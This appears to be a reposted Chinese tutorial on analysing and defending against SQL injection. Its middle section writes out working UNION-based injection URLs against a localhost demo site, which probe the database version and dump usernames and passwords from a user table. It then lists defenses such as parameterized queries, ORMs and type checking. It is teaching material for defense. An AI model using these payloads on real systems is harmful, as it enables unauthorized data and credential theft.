腾讯大牛教你web前后端漏洞分析与防御-接入层(SQL)注入
来源:互联网 发布:360 cn域名多少钱买的 编辑:程序博客网 时间:2024/06/06 02:19
- 关系型数据库(access(mdd),sqlite(嵌入式设备.db),mysql,mssql server)
- 存放结构化数据
- 可高效操作大量数据
- 方便处理数据之间的关联关系
- SQL
判断注入(数据变逻辑)
- 猜解密码(工具)
- 获取数据
- 删库删表
- 脱裤
and 1=1and 1=0and 1=1 and ""="and 1=0 and ""="返回不同结果
http://localhost:8045/post/11%22%20and%201=0%20and%20%22%22=%22http://localhost:8045/post/11%22%20and%201=1%20and%20%22%22=%22可以注入http://localhost:8045/post/11%22%20or%201=1%20and%20%22%22=%22猜版本号http://localhost:8045/post/11%22%20and%20mid(version(),1,1)=5%20and%20%22%22=%22猜解字段长度localhost:8045/post/11"union select 1,2,3,4,5,6 from user where ""="猜解字段内容http://localhost:8045/post/11%22union%20select%20id,1,2,3,4,5%20from%20user%20where%20%22%22=%22http://localhost:8045/post/11%22union%20select%20id,1,2,username,4,password%20from%20user%20where%20%22%22=%22爆密码,账号(显示位置是依据post表显示字段显示的)http://localhost:8045/post/101%22union%20select%201,password,2,username,5,6%20from%20user%20where%20%22%22=%22http://localhost:8045/post/101%22union%20select%201,password,2,username,4,6%20from%20user%20where%20id%20=2%20and%20%22%22=%22利用mid猜测密码
sql注入案例
防御
- 关闭错误输出(判断注入是否正确)
- 检查数据类型,参数(parseInt())
- 对数据进行转义(npm install mysql 手工麻烦)
- 使用参数化查询(npm install mysql2)
- 使用ORM(对象关系映射)
- npm install sequelize
NoSQL注入
- 支持传入对象
- 解决:
- 检查数据类型
- 类型转换
- 写完整条件(验证对象内容)
PHP
- 关闭错误输出(判断注入是否正确)
- 检查数据类型,参数
- 对数据进行转义
- 使用参数化查询
- 使用ORM(对象关系映射)
阅读全文
0 0
- 腾讯大牛教你web前后端漏洞分析与防御-接入层(SQL)注入
- 腾讯大牛教你web前后端漏洞分析与防御-接入层上传问题
- 腾讯大牛教你web前后端漏洞分析与防御-XSS
- 腾讯大牛教你web前后端漏洞分析与防御-CSRF
- 腾讯大牛教你web前后端漏洞分析与防御-信息泄露
- 腾讯大牛教你web前后端漏洞分析与防御-Cookie
- 腾讯大牛教你web前后端漏洞分析与防御-点击劫持,传输安全
- 腾讯大牛教你web前后端漏洞分析与防御-密码安全
- 【Web安全与防御】简析Sql注入与防御措施
- 【Web安全与防御】简析Sql注入与防御措施
- Web环境下SQL注入攻击的检测与防御
- web安全与防御---2.DVWA之SQL注入
- SQL注入攻击与防御
- SQL注入攻击与防御
- SQL注入攻击与防御
- SQL注入攻击与防御
- SQL注入攻击与防御
- SQL注入攻击与防御
- 啊
- java学习笔记06
- mysql如何利用Navicat 导出和导入数据库
- 利用solr实现商品的搜索功能
- formdata用法
- 腾讯大牛教你web前后端漏洞分析与防御-接入层(SQL)注入
- spring 3.2.2后springjdbc中不用queryforInt了
- 朴素贝叶斯简单推导及优缺点
- Number()和parseInt()的区别
- hdu6044 Limited Permutation【读入优化+dfs】
- 27 个机器学习、数学、Python 速查表
- windows服务器下配置memcache最大内存值
- leetcode 238. Product of Array Except Self
- Hibernate11_映射关系---OneToOne双向